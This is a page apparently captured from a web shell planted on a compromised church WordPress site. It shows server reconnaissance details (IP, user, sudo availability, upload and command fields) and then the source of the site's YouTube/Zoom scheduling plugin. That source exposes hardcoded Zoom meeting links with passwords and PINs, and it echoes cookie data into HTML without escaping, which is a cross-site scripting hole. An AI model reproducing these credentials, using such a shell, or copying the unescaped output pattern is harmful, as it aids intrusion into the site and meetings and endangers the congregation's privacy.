Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/youtube-schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/youtube-schedule/youtube-schedule.php
<?php

/*
Plugin Name: Live Video and Youtube
Plugin URI: http://hostz.org/
Description: Manage Live Youtube Videos. Notify when streaming started. 
Version: 1.0.0
Author: Phil Young
Author URI: http://hostz.org/
License: Whatever
*/

// Admin:   * Set Current URL, and Event Type (default to last "up next" event
//			* up next is: Type / Date

// Add following tag to youtube: yt:stretch=16:9

// THIS HAS A HARDCODED ZOOM SECRET

/*

To do:  Sign up for email notifications
			- store email address, events, level
			- to do: SMS or IM??
		Change preferences
		Send Email when event goes live
			* Watch at HopeInStoughton
			* Watch on Youtube
			* contact info if something goes wrong
			* Change preferences
*/

class scheduler_class {

    const ZOOM_BC_ID    = '85676868884';
    const ZOOM_BC_LINK  = 'https://us06web.zoom.us/j/85676868884?pwd=ejE1cUxqWkdwS2I5V2w2VFlXaXE3dz09';
    const ZOOM_SUN_ID   = '83443024657';
    const ZOOM_SUN_LINK = 'https://us06web.zoom.us/j/83443024657?pwd=WDB2Y2MzTDhOMkl3R1AzalJjUFYvdz09';
	const ZOOM_SUN_PIN  = '5629';
    const ZOOM_XTRA_ID   = '87282475532';
    const ZOOM_XTRA_LINK = 'https://us06web.zoom.us/j/87282475532?pwd=OTZuWTNIYXJNZTNWWHNXeDU3MnJNUT09';
    const ZOOM_ECBS_ID   = '89110222817';
    const ZOOM_ECBS_PIN  = '9933';
    const ZOOM_ECBS_LINK = 'https://us06web.zoom.us/j/89110222817?pwd=llziKaUZb7M2kzGGxVXzbXXcRMpxr2.1';
    
	function __construct() {
        // an abbreviated version of this is in media-manager
		$this->EVENTS = array(
			0 => array('(unknown)', 0),		// no future event
			1 => array('Sunday Morning Class and Memorial Service', 0),
			2 => array('Sunday Memorial Service', 0),
			3 => array('Bible Class', 0),
			4 => array('Brother\'s Class', 1),
			5 => array('Sister\'s Class', 1),
			6 => array('Arranging Board Meeting', 2),
			7 => array('Business Meeting', 2),
			8 => array('CYC', 1),
			9 => array('Public Event', 0),
			10 => array('Special Event', 1),
			11 => array('Special Event - Baptism', 1),
			99 => array('Test Event', 0)	//  - no email will be sent
		);
		
		// use prepare_timezone.php to create the TIMEZONE data
		$this->TIMEZONE = array (
		  'base' => 
		  array (
			'display' => '(UTC-05:00) Eastern Time (US & Canada)',
			'dlt' => 'Eastern Daylight Time',
			'std' => 'Eastern Standard Time',
		  ),
		  0 => 
		  array (
			'bias' => 300,
			'bias_dls' => -60,
			'dls' => 
			array (
			  'yy' => 0,
			  'mm' => 3,
			  'dow' => 0,
			  'dd' => 2,
			  'hh' => 2,
			  'nn' => 0,
			),
			'std' => 
			array (
			  'yy' => 0,
			  'mm' => 11,
			  'dow' => 0,
			  'dd' => 1,
			  'hh' => 2,
			  'nn' => 0,
			),
		  ),
		  2006 => 
		  array (
			'bias' => 300,
			'bias_dls' => -60,
			'dls' => 
			array (
			  'yy' => 0,
			  'mm' => 4,
			  'dow' => 0,
			  'dd' => 1,
			  'hh' => 2,
			  'nn' => 0,
			),
			'std' => 
			array (
			  'yy' => 0,
			  'mm' => 10,
			  'dow' => 0,
			  'dd' => 5,
			  'hh' => 2,
			  'nn' => 0,
			),
		  ),
		  2007 => 
		  array (
			'bias' => 300,
			'bias_dls' => -60,
			'dls' => 
			array (
			  'yy' => 0,
			  'mm' => 3,
			  'dow' => 0,
			  'dd' => 2,
			  'hh' => 2,
			  'nn' => 0,
			),
			'std' => 
			array (
			  'yy' => 0,
			  'mm' => 11,
			  'dow' => 0,
			  'dd' => 1,
			  'hh' => 2,
			  'nn' => 0,
			),
		  ),
		);

		$this->URL = plugin_dir_url(__FILE__);
		add_action('admin_menu', array($this, 'main_menu'), 1 );
		add_action('admin_init', array($this, '__register_settings'));
		add_action('wp_enqueue_scripts', array($this, 'add_css' ));
		add_action('admin_enqueue_scripts', array($this, 'add_css' ));
		add_shortcode('youtubeplayer', array($this, '_shortcode_handler' ));
		add_shortcode('quicklink', array($this, '_quicklink_handler' ));
		add_shortcode('zoom', array($this, '_zoom_handler' ));
		add_action('wp_dashboard_setup', array($this, 'dashboard_widgets'));
		add_action( 'wp_ajax_nopriv_youtube', array($this, 'ajax_callback'));   // when not logged in
		add_action( 'wp_ajax_youtube', array($this, 'ajax_callback'));		    // when logged in
		add_action( 'wp_loaded', [$this, 'post_form'], 49 );                    // custom urls
		$this->siteurl = get_option( 'siteurl' );
		$this->adminurl =  admin_url('admin-ajax.php?action=youtube');		    // ajax callback to see if live streaming is running
        add_filter( 'youtubeschedule-active', [$this, '__is_active'], 50, 1 );  // is youtube active, and do we have permission to access it?
        add_filter( 'youtubeschedule-zoom', [$this, '__is_active_zoom'], 50, 1 ); // is zoom active?

		//update_option( 'youtubeschedule-link', 'https://www.youtube.com/watch?v=U9CGvuRts5E');
	}

	function dashboard_widgets() {
		wp_add_dashboard_widget('widget_livevideo', 'Live Video', array($this, 'widget_dashboard'));
		// updated every 15s
		wp_add_dashboard_widget('widget_watching', 'Live Video &mdash; Who is Watching?', array($this, 'widget_watching'));
	}
	
	function __register_settings() {
		add_option( 'youtubeschedule-link', '');
		add_option( 'youtubeschedule-event', '1');
		add_option( 'youtubeschedule-nextdate', '');
		add_option( 'youtubeschedule-nexttime', '');
		add_option( 'youtubeschedule-link-wed', '');
		add_option( 'youtubeschedule-link-sun', '');
		register_setting( 'default', 'youtubeschedule-link' ); 
		register_setting( 'default', 'youtubeschedule-event' );
		register_setting( 'default', 'youtubeschedule-nextdate' );
		register_setting( 'default', 'youtubeschedule-nexttime' );
		register_setting( 'default', 'youtubeschedule-link-wed' ); 
		register_setting( 'default', 'youtubeschedule-link-sun' ); 
	}

	function main_menu() {
		global $_registered_pages;
		// this is added to dashboard page, admin_page also needed - otherwise Editors cannot update settings
		add_submenu_page(NULL, __('Youtube-Schedule - update settings'), __('xxxx'), 	// non-menu page
				'publish_pages', 'livevideo-schedule-update',  array($this, '_updateyoutube'));
		if (!empty($_registered_pages['dashboard_page_livevideo-schedule-update']))
			$_registered_pages['admin_page_livevideo-schedule-update'] = TRUE;
	}
	
	function _updateyoutube() {

		// Check nonce and capabilities
		$nonce = $_REQUEST['_wpnonce'];
		$error_msg = false;
		if ( ! wp_verify_nonce( $nonce, 'update-links' ) )
			$error_msg = __( 'Unable to submit this form, please refresh and try again.' );

		if ( $error_msg ) {
			echo $error_msg;
			return;
		}

		update_option('youtubeschedule-link', $_REQUEST['livelink']); 
		update_option('youtubeschedule-event', $_REQUEST['eventtype']); 
		update_option('youtubeschedule-nextdate', $_REQUEST['e_date']); 
		update_option('youtubeschedule-nexttime', $_REQUEST['e_time']); 
		
		if ($_REQUEST['livelink'] != '') {		// save the link under the current day of week.  This is used by the chatbot
			$dow = strtolower(date('D')); 
			switch($dow) {
				case 'wed':
				case 'sun':
					update_option('youtubeschedule-link-' . $dow, $_REQUEST['livelink']); 
					break;
			}
		}

		$url = admin_url();
 
		echo <<<BLOCK
<p>Options have been updated</p>
<ul>
<li>View the <a href="/video">Public</a> live video page (no password required)</li>
<li>View the <a href="/members/live-video">Christadelphian Community</a> live video page (general password required)</li>
<li>View the <a href="/members/private">Stoughton Member</a> Live Video page</li>
<li><a href="$url">Back to the Dashboard</a></li>

BLOCK;
	}
	
	function _javascript() {
		return <<<BLOCK

function elephant(domain, user, display, linkclass) {
	if (!display) display = user + '@' + domain;
	if (!linkclass) linkclass = 'link';
	document.write('<a href="mailto:' + user + '&#64;' + domain + '" class="' + linkclass + '">' + display + '</a>');
}

BLOCK;
	}
	
	// options - show email, show skype, refresh
	function ShowMessage($title, $body, $isOffline = 0) {
		$js = $this->_javascript();
		
// Display next event, if there is one
		$current_event = intval(get_option( 'youtubeschedule-event', ''));
		if ($isOffline && $current_event) {
			$desc = $this->EVENTS[$current_event][0];
			$current_date = intval(get_option( 'youtubeschedule-nextdate', '')) * 86400 + 43200;
			list($yy, $mm, $dd) = explode(',', gmdate('Y,n,j', $current_date));
			
			$current_time = intval(get_option( 'youtubeschedule-nexttime', ''));
			$hh = intval($current_time / 60);
			$nn = $current_time % 60;
			$exp = gmmktime($hh, $nn, 0, $mm, $dd, $yy);		// this is 9:30am UTC, not 9:30am Boston Time (EST/EDT)
			
			$date = gmdate('D, F j', $exp);
			$time = gmdate('g:i a', $exp);

			$estart = gmdate('Y-m-d H:i', $exp);
			$efinish = gmdate('Y-m-d H:i', $exp + 2 * 3600);
			
			list($d_std, $d_dls, $data) = $this->GetTimeZoneData(time());

// convert to local time - as unixtime, and also store current time
			$bias = 0;
			$dls = $this->GetTZinfo($exp, $bias);
			$exp += $bias;
			
			$utc = gmdate('Y-m-d H:i:s', $exp);
			$body .= ' The next event to be streamed live is: “' . $desc . "” on $date at $time (Eastern). ";
			list($current_level, $link) = $this->_GetVideoLink($current_event);
			$link = $this->siteurl . $link;
			$msg = <<<BLOCK
<div class="next" id="nextevent"></div>
<div id="addevent">
<a href="$link" title="Add to Calendar" class="addthisevent">
	Add to Calendar
	<span class="_start">$estart</span>
	<span class="_end">$efinish</span>
	<span class="_zonecode">15</span>
	<span class="_summary">$desc</span>
	<span class="_location">$link</span>
	<span class="_organizer">Boston Christadelphians</span>
	<span class="_all_day_event">false</span>
	<span class="_date_format">YYYY-MM-DD</span></a>
</div>
BLOCK;

			$current = time();
			$js .= <<<BLOCK
jQuery(document).ready(function() {
	jQuery('#nextevent').countdown({fmt: 'dd hh:mm:ss', current: $current, dest: $exp});
	
});

BLOCK;
		} else {
			$msg = '';
		}
		
// do an ajax call to get state of streaming - refresh only when streaming has started
		return <<<BLOCK
<script type="text/javascript">
$js

// Reload page when streaming starts
jQuery(document).ready(function() {
	let $ = jQuery;
	$.getJSON('{$this->adminurl}&status=0');
	setInterval(function() {
        // if Details page is being displayed, don't refresh
        if ($('form.no-auto-refresh').length) return;
		$.getJSON('{$this->adminurl}&status=0', function(data) {
			if (data.live) window.location.reload();
		});
	}, 30 * 1000);
	$('.bind-localtime').each(function() {
		let \$this = $(this);
		let dt = parseInt(\$this.data('date'));
		\$this.html(new Date(dt * 1000).toLocaleString([], { weekday: "long", year: "numeric", month: "long", day: "numeric", hour: "numeric", minute: "numeric" }));
	});
});

</script>
<style type="text/css">
#ys_frame {
	border-radius: 10px;
	-o-border-radius: 10px;
	-ms-border-radius: 10px;
	-webkit-border-radius: 10px;
	box-shadow:			0 1px 5px 3px #dfdfdf;
	-o-box-shadow:		0 1px 5px 3px #dfdfdf;
	-ms-box-shadow:		0 1px 5px 3px #dfdfdf;
  	-webkit-box-shadow:	0 1px 5px 3px #dfdfdf;
	width: 680px;
	height: 360px;
	margin: 25px auto;
	background-image: url({$this->URL}clouds2.jpg);
	padding: 20px;
	position: relative;
}

#ys_frame h2 {
	font-family: Georgia,serif;
    font-size: 34px;
	padding-bottom: 30px;
	color: #000;
}

#ys_frame p {
	font-family: Georgia,serif;
    font-size: 20px;
	line-height: auto;
}

#ys_frame div.footnote {
	position: absolute;
	display: block;
	width: 680px;
	top: 340px;
	font-weight: bold;
}
#ys_frame a, #ys_frame a:visited {
	color: #1C777D;
}

#ys_frame div.next {
	position: absolute;
	display: block;
	width: 680px;
	top: 170px;
	font-weight: bold;
}

#ys_frame div#addevent {
	position: absolute;
	display: block;
	width: 680px;
	top: 295px;
	text-align: center;
}

</style>
<div id="ys_frame">
<h2>$title</h2>
<p>$body</p>$msg
<div class="footnote">Archived copies of previously streamed content are available for viewing from the <a href="/members">Member Area</a>. If you
need assistance, or wish to request access, please contact <script type="text/javascript">elephant('hopeinstoughton.org', 'phil');</script></div>
</div>
<div style="width: 680px;margin:10px auto;padding:0 20px;">Local Time: <span class="bind-localtime" data-date="$exp"></span></div>

BLOCK;

	}
	
	function _generatelist($array, $current) {
		$list = '';
		foreach($array as $id => $data) {
			if (is_array($data)) {
				$caption = $data[0];
			} else {
				$caption = $data;
			}
			$sel = $current == $id ? ' selected' : '';
			$list .= "<option value=\"$id\"$sel>" . htmlspecialchars($caption) . "</option>\n";
		}
		return $list;
	}

	function _generatelistDates($array, $current) {
		$list = '';
		foreach($array as $data) {
			$caption = $data['date'];
			$id = $data['m'];
			$sel = $current == $id ? ' selected' : '';
			$extra = '';
			if (isset($data['tp'])) $extra .= " data-type=\"{$data['tp']}\"";
			if (isset($data['start'])) $extra .= " data-start=\"{$data['start']}\"";
			$list .= "<option value=\"$id\"$sel$extra>" . htmlspecialchars($caption) . "</option>\n";
		}
		return $list;
	}
	
	function MinutesToTime($mm) {
		$hh = intval($mm / 60);
		$mm = $mm % 60;
		$h2 = ($hh < 10) ? "0$hh" : $hh;
		$m2 = ($mm < 10) ? "0$mm" : $mm;
		$ampm = ($hh < 12) ? 'am' : 'pm';
		if ($hh > 12) $hh -= 12;
		if (!$hh) $hh = 12;
		return "$h2:$m2 ($hh:$m2 $ampm)";
	}

	public function widget_watching() {
		echo <<<BLOCK
<script type="text/javascript">
	function escapeHtml(text) {
	  return text
		  .replace(/&/g, "&amp;")
		  .replace(/</g, "&lt;")
		  .replace(/>/g, "&gt;")
		  .replace(/"/g, "&quot;");
	}
	function generateOutput(timestamp, isstreaming, userdata) {
		var dname = escapeHtml(userdata.co_username);
		var dloc = escapeHtml(userdata.co_location);
		if (isstreaming) {
			if (userdata.co_lastseen < timestamp - 60) userdata.co_status = 0;
			if (!userdata.co_status) {
				var t = parseInt((timestamp - userdata.co_lastseen) / 60);
				dname = '<i title="offline, last seen ' + t + ' minutes ago">(' + dname + ')</i>';
			} else {
				var t = parseInt((timestamp - userdata.co_firstseen) / 60);
				dname = '<span title="online for ' + t + ' minutes">' + dname + '</span>';
			}
		}
		var entry = '<td>' + dname + '</td><td>' + dloc + '</td><td width="107">' + userdata.co_ipaddress + '</td>';
		return entry;
	}
	
	function updateDisplay(data) {
		if (data.time) {
			var output = data.live ? '<p>The following are <span style="font-weight:bold;color:#00e000">watching</span> the Live Streaming</p>' : '<p>The following are <span style="font-weight:bold;color:#e00000">waiting</span> for the Live Streaming to start</p>';
			if (!data.online.length) {
				output = '<tr><td>No Users</td></tr>';
			} else {
				for(var i = 0; i < data.online.length; i++) {
					output += '<tr>' + generateOutput(data.time, data.live, data.online[i]) + '</tr>';
				}
			}
			jQuery('#nowwatching').html('<table id="watchingtable" cellspacing="0" width="445">' + output + '</table>');
		}
	}
	
	jQuery.getJSON('{$this->adminurl}&status=9876543', updateDisplay);
	setInterval(function() {
		jQuery.getJSON('{$this->adminurl}&status=9876543', updateDisplay);
	}, 15 * 1000);

</script>
<div id="nowwatching">
<p>Loading, please wait...</p>
</div>
<p style="font-size:10px">This list is updated every 15 seconds. <a href="https://cygnus.hopeinstoughton.org/cygnus/online-now" target="_blank">Show Details</a></p>
BLOCK;
	}

	private function asSeconds($x) {
		[$hh, $mm, $ss] = explode(':', $x);
		return intval($hh, 10) * 60 + intval($mm, 10);
	}

	private function getServiceInfo($dt) {
		global $wpdb;
		$ddate = '"' . gmdate('Y-m-d', $dt) . '"';
		$service_time = FALSE;
		$class_time = FALSE;

		$events = $wpdb->get_results("select event_category,event_time from `{$wpdb->prefix}spiffy_calendar` where event_begin=$ddate");
		foreach($events as $event) {
			switch($event->event_category) {
				case 2:
					$service_time = $event->event_time;
					break;
				case 3:
					$class_time = $event->event_time;
					break;
			}
		}
		if ($class_time) return [1, $this->asSeconds($class_time)];
		if ($service_time) return [2, $this->asSeconds($service_time)];
		return [1, 570];
	}
	
// set up nonce, select list
	public function widget_dashboard() {
		$list = '';
		$current_event = get_option( 'youtubeschedule-event', '');
		$current_link = get_option( 'youtubeschedule-link', '');
		$current_date = get_option( 'youtubeschedule-nextdate', '');
		$current_time = get_option( 'youtubeschedule-nexttime', '');
		$dcurrent_link = htmlspecialchars($current_link);
		
		$list = $this->_generatelist($this->EVENTS, $current_event);
		
		$days = array();
		[ $yy, $mm, $dd ] = explode(',', date('Y,n,j'));
		$n = mktime(12, 0, 0, $mm, $dd, $yy);
//		$n = time() - 43200;
		for($i = 0; $i < 21; $i++) {
			$m = intval($n / 86400);
			$node = [
				'm'		=> $m,
				'dow'	=> gmdate('w', $n),
				'date'	=> gmdate('l, F j, Y', $n),
			];
			switch($node['dow']) {
				case 0: 			// sunday
					// service / noservice / startdate
					[$service_type, $service_start] = $this->getServiceInfo($n);
					$node['tp']    = $service_type;
					$node['start'] = $service_start;
					break;
				case 3: 			// wednesday
					$node['tp'] = 3;
					$node['start'] = 1170;
					break;
			}
			$days[] = $node;
			$n = strtotime('+1day', $n);
		}
		$list2 = $this->_generatelistDates($days, $current_date);
		
        $times = [540, 570, 600, 630, 780, 810, 840, 1020, 1080, 1140, 1170, 1200];
		$minutes = [];
//		for($i = 360; $i <= 1260; $i += 15) {		// 6am to 9pm
		foreach($times as $i) {		// 6am to 9pm
			$minutes[$i] = $this->MinutesToTime($i);
		}
		$list3 = $this->_generatelist($minutes, $current_time);
		$dls = '';
		$n = time();
		list($d_std, $d_dls, $data) = $this->GetTimeZoneData($n);
		if ($n < $d_std) {
			$dls = ($n < $d_dls) ? 'Daylight Saving starts at ' . gmdate('Y-m-d H:i', $d_dls) : 'Daylight Saving finishes at ' . gmdate('Y-m-d H:i', $d_std);
			$dls = '<span style="font-size: 10px">' . $dls . '</span>';
		}
		
		echo <<<BLOCK
<p>Use the white-on-gray "<b>Schedule Stream</b>" button at <a href="https://studio.youtube.com/channel/UCIi20hlVjzrt04G3YPNRTgw/livestreaming/manage" target="youtubes">YouTube</a> 
to create the YouTube video, then copy the link from "<b>View on Watch Page</b>" to the box below.   Clear the link when the event has finished.</p>
<form name="post" action="?page=livevideo-schedule-update" method="post" id="schedule-update" class="initial-form hide-if-no-js">
<p>Youtube Watch Link:<br>
<input type="text" name="livelink" id="livelink" value="$dcurrent_link" placeholder="https://youtube.com/live/..." style="width:360px"></p>
<p>Next Scheduled Event:<br>
<select class="bind-scheduled-event" name="e_date" id="e_date">{$list2}</select>
<p>Event Type:<br>
<select name="eventtype" id="eventtype">
<option value="">(please select an event type)</option>
$list</select></p>
<p>Start Time:<br>
<select name="e_time" id="e_time">{$list3}</select><br>
$dls
</p>

<p class="submit">
			<input type="hidden" name="action" id="unknown" value="livevideo-schedule-update" />
BLOCK;

	wp_nonce_field( 'update-links' );
	submit_button( __( 'Update Links' ), 'primary', 'save', false, array( 'id' => 'update-links' ) ); 
echo <<<BLOCK
			<br class="clear" />
		</p>
</form>
BLOCK;
	}

	function add_css() {
		// add .js file
//		wp_enqueue_script('skype', '//www.skypeassets.com/i/scom/js/skype-uri.js', array(), '' );
		wp_enqueue_script('addthisevent', '//js.addthisevent.com/atemay.js', array(), '' );
		wp_enqueue_script('youtubesch', plugins_url('countdown.js', __FILE__), array(), '1.2' );
		wp_enqueue_style('youtubesch', plugins_url('countdown.css', __FILE__), array(), '1.1'); 
		wp_enqueue_style('fontawesomes', '//use.fontawesome.com/releases/v5.6.3/css/all.css' );
	}

// Retrieve the level for the current event
	function _GetVideoLink($current_event) {
		$current_level = isset($this->EVENTS[$current_event]) ? $this->EVENTS[$current_event][1] : 0;
		switch($current_level) {
			case 0: 
				$link = '/video/';
				break;
			case 1: 
				$link = '/members/live-video';
				break;
			case 2: 
				$link = '/members/private';
				break;
			default:
				$link = '';
		}
		return array($current_level, $link);
	}
	
	function _register_for_video() {
		
		$firsttime = !isset($_COOKIE['watching']);
		if ($firsttime) {
			$name = $location = '';
		} else {
			list($name, $location) = explode('.', $_COOKIE['watching']);
			$name = base64_decode($name);
			$location = base64_decode($location);
		}

		$dname = htmlspecialchars($name);
		$dlocation = htmlspecialchars($location);
		$topic = $firsttime ? 'Please Register' : 'Please Update your Details';
		$msg = <<<BLOCK
This optional information is used to let us who is watching.  You don’t have to fill it in, but we would really love it if you did.<br/>
<form method="post" class="no-auto-refresh">
<label for="username">Your name</label><br>
<input class="userinput" type="text" name="username" id="username" value="{$dname}" style="width:400px"><br>
<label for="username">Location (Town, State, Country if not US)</label><br>
<input class="userinput" type="text" name="userloc" id="userloc" value="{$dlocation}" style="width:400px"><br><br>
<input type="hidden" name="fn" value="register">
<input type="submit" value="  Continue to Live Video  &gt;&gt;&gt;  ">
</form>
BLOCK;
		return $this->ShowMessage($topic, $msg);
	}

	function post_form() {
		$isPost = $_SERVER['REQUEST_METHOD'] == 'POST';
		$fn = isset($_GET['fn']) ? $_GET['fn'] : '';
		$this->request_change = ($fn == 'change_details');

		$cache = $_SERVER['REQUEST_URI'];
        if (($p = strpos($cache, '?')) !== FALSE) {
            $cache = substr($cache, 0, $p);
        }
        $admin = current_user_can('editor') || current_user_can('administrator');
		if (preg_match('#/~/youtubeschedule-zoom$#', $cache, $matches)) {
            $txt = file_get_contents('php://input');
            $post = json_decode($txt, TRUE);
            $this->_zoom_event($post);
			header('Content-type: text/plain');
            echo 1;
            exit;
		} elseif (preg_match('#/~/youtubeschedule-fb$#', $cache, $matches)) {
            $txt = file_get_contents('php://input');
            $post = json_decode($txt, TRUE);
			header('Content-type: text/plain');
            $this->_facebook_event($post);
            echo 1;
            exit;
		} elseif (preg_match('#/~/youtubeschedule-wed$#', $cache, $matches)) {
			header('Content-type: text/plain');
            die(json_encode($this->_chatbot_wed(), JSON_UNESCAPED_SLASHES));
		} elseif (preg_match('#/~/youtubeschedule-sun$#', $cache, $matches)) {			// just retrieve the date of the service at /members/current
			header('Content-type: text/plain');
            die(json_encode($this->_chatbot_sun(), JSON_UNESCAPED_SLASHES));
        }

		$fn = isset($_POST['fn']) ? $_POST['fn'] : '';
		if ($isPost && $fn == 'register') {
			$name = trim(stripslashes_deep($_POST['username']));
			$loc = trim(stripslashes_deep($_POST['userloc']));
			$url = $this->CreateuserCookie($name, $loc);
			header('Content-type: text/plain');
			header('Location: ' . $url);
			echo "Redirecting to $url\n";
			exit;
		}
	}
	
	function CreateUserCookie($name, $location) {
		$data = base64_encode($name) . '.' . base64_encode($location);
	//		SetCookie($data

		SetCookie('watching', $data, time() + 365 * 86400, '/');
		if (isset($_SERVER['HTTPS']) &&
			($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) ||
			isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
			$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
			$protocol = 'https://';
		} else {
			$protocol = 'http://';
		}
		$url = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REDIRECT_URL'];
		if (!empty($_SERVER['REDIRECT_QUERY_STRING']) && !$this->request_change) $url .= '?' . $_SERVER['REDIRECT_QUERY_STRING'];
		return $url;
	}
	
	function GetWatchingName() {
		list($name, $location) = explode('.', $_COOKIE['watching']);
		$name = base64_decode($name);
		if ($name == '') $name = 'Unknown';
		$location = base64_decode($location);
		if ($location != '') $location = ' from ' . $location;
		$location .= '</span><span> <a class="changeuser" href="?fn=change_details" title="change name"></a>';
		return "<span style=\"vertical-align:bottom;font-size:14pt\">Watching as <strong>$name</strong>$location</span>";
	}
    
	function _quicklink_handler($atts) {
		$a = shortcode_atts( array(
			'pg' => 'welcome',
		), $atts);

		$frame = plugins_url('frame.jpg', __FILE__);
		$current_link = get_option( 'youtubeschedule-link', '');
		$ok = $current_link != '';		// currently streaming?  display link
		if (!$ok) {		// streaming expected in next hour? 
			$current_date = intval(get_option( 'youtubeschedule-nextdate', '')) * 86400 + 43200;
			list($yy, $mm, $dd) = explode(',', gmdate('Y,n,j', $current_date));
			
			$current_time = intval(get_option( 'youtubeschedule-nexttime', ''));
			$hh = intval($current_time / 60);
			$nn = $current_time % 60;
			$exp = gmmktime($hh, $nn, 0, $mm, $dd, $yy);		// this is 9:30am UTC, not 9:30am Boston Time (EST/EDT)
			list($d_std, $d_dls, $data) = $this->GetTimeZoneData( time() );	// $systemtime?

// convert to local time - as unixtime, and also store current time
			$bias = 0;
			$dls = $this->GetTZinfo($exp, $bias);
			$exp += $bias;

			$remaining = $exp - time();		// are we within an hour of it starting, or 1/2 after it has supposed to start?
			if ($remaining < 3600 && $remaining > -1800) {
				$ok = TRUE;
			}
		}
		if ($ok) {
			$streaming = '<div><a href="/video"><i class="fas fa-video"></i><span class="caption"><strong>Join us via live streaming</strong></span></a></div>';
		} else {
			$streaming = '';
		}
		if ($a['pg'] == 'who') {
			$welcome = '<div><a href="/filecabinet/The%20Christadelphians%20in%20Stoughton%20welcome%20pack.pdf"><i class="far fa-file-pdf"></i><span class="caption">What to expect when visiting our church</a></span></div>';
		} else {
			$welcome = '<div><a href="/request"><i class="far fa-file-pdf"></i><span class="caption">Request your Free Bible Study Guide</a></span></div>';
			$welcome = '';		// we don't have anything to send :(
		}
		
		$nefg = '';
		$specialdate = mktime(12, 0, 0, 10, 14, 2024);
		if (time() < $specialdate) {
			$nefg = '<div><a href="/nefg2024"><i class="fas fa-school"></i><span class="caption">NEFG 2024 Details</a></span></div>';
		}

		
//	<span><img class="img-frame" src="$frame"></span>
//		<div><a href="/study-weekend-2023"><i class="fa fa-video-camera" style="color:#900"></i><span class="caption" style="color:#900">April Study Weekend 2023</span></a></div>
		
		$output = <<<BLOCK
<div class="navguide">
	<span class="overlay" style="background-color: #eee; padding:10px">
		<div><h4>Quick Links</h4></div>
		$welcome
		$nefg
		$streaming
		<div><a href="https://www.facebook.com/hopeinstoughton/"><i class="fab fa-facebook-square"></i><span class="caption">Join us on Facebook</span></a></div>
		<div><a href="https://www.youtube.com/c/HopeInStoughton"><i class="fab fa-youtube"></i><span class="caption">YouTube channel</span></a></div>
		<div><a href="mailto:info@hopeinstoughton.org?subject=Hope%20In%20Stoughton%20website"><i class="far fa-comments"></i><span class="caption">Contact us</span></a></div>
		<div><a href="https://www.google.com/maps?oe=UTF-8&ie=UTF8&q=Christadelphian+stoughton&fb=1&gl=us&hq=Christadelphian&hnear=stoughton&ei=vkK_S4fDN5ewMr3rrPoL&ved=0CBsQ_wY&hl=en&view=map&f=d&daddr=48+Freeman+Street,+Stoughton,+MA+02072-2642&geocode=CeI1q9kxN-luFejJggIdSBfD-yEI5GBu7RjnuQ&sa=X"><i class="fas fa-map-signs"></i><span class="caption">Get directions</span></a></div>
		<div><a href="/members/"><i class="fas fa-book-reader"></i><span class="caption">Member Resources</span></a></div>
	</span>
</div>

BLOCK;
		return $output;
/* old:

<p><a href="/request"><img title="Get your FREE e-booklet" src="/index_70_868951780.jpg" height="60" hspace="7" alt="Get your FREE e-booklet" width="55" />
Request your FREE Bible Study Guide</a></p>
<p><a href="http://www.facebook.com/home.php?#!/pages/Stoughton-MA/Christadelphians-in-Stoughton-MA/104892219549479?ref=ts" target="_blank"><img title="Join us on Facebook" src="/index_57_2163477941.jpg" height="30" hspace="7" alt="Join us on Facebook" width="30" /></a><a href="http://www.facebook.com/home.php?#!/pages/Stoughton-MA/Christadelphians-in-Stoughton-MA/104892219549479?ref=ts" target="_blank">Join us on Facebook</a></p>
<p><a href="mailto:info@hopeinstoughton.org?subject=Hope%20In%20Stoughton%20website"><img title="Contact Us" src="/index_66_1530557255.jpg" height="30" hspace="7" alt="Contact Us" width="30" />Contact us </a>
<p><a href="http://maps.google.com/maps?oe=UTF-8&amp;ie=UTF8&amp;q=Christadelphian+stoughton&amp;fb=1&amp;gl=us&amp;hq=Christadelphian&amp;hnear=stoughton&amp;ei=vkK_S4fDN5ewMr3rrPoL&amp;ved=0CBsQ_wY&amp;hl=en&amp;view=map&amp;f=d&amp;daddr=48+Freeman+Street,+Stoughton,+MA+02072-2642&amp;geocode=CeI1q9kxN-luFejJggIdSBfD-yEI5GBu7RjnuQ&amp;sa=X" target="_blank"><img title="Get Directions" src="/index_78_3754377.jpg" height="34" hspace="7" alt="Get Directions" width="35" />Get Directions</a></p>
<p><a href="https://plus.google.com/116228988344400509693" rel="publisher">Google+</a></p>

<p style="margin-left: 40px"><a href="/filecabinet/The%20Christadelphians%20in%20Stoughton%20welcome%20pack.pdf"><img title="You're welcome here!" src="/aboutus_50_3434251273.gif" height="31" hspace="7" alt="You're welcome here!" width="50" align="left" />
Here&#39;s what you can expect when you visit our church.</a></p>

*/
	}
	
	function _shortcode_handler($atts) {
		$output = '';
		$level = isset($atts['level']) ? intval($atts['level']) : 0;
// 0 Free to air - no password required
// 1 Christo Community page - low-level password required
// 2 Member-Only page - Stoughton Members only

		$current_link = get_option( 'youtubeschedule-link', '');
		if (empty($current_link)) {
// TO DO: automatically reload this page when event starts
			return $this->ShowMessage('Streaming Offline', 'Live video streaming is currently unavailable. If this is an error, please contact us.', 1);
		}

		$current_event = intval(get_option( 'youtubeschedule-event', ''));
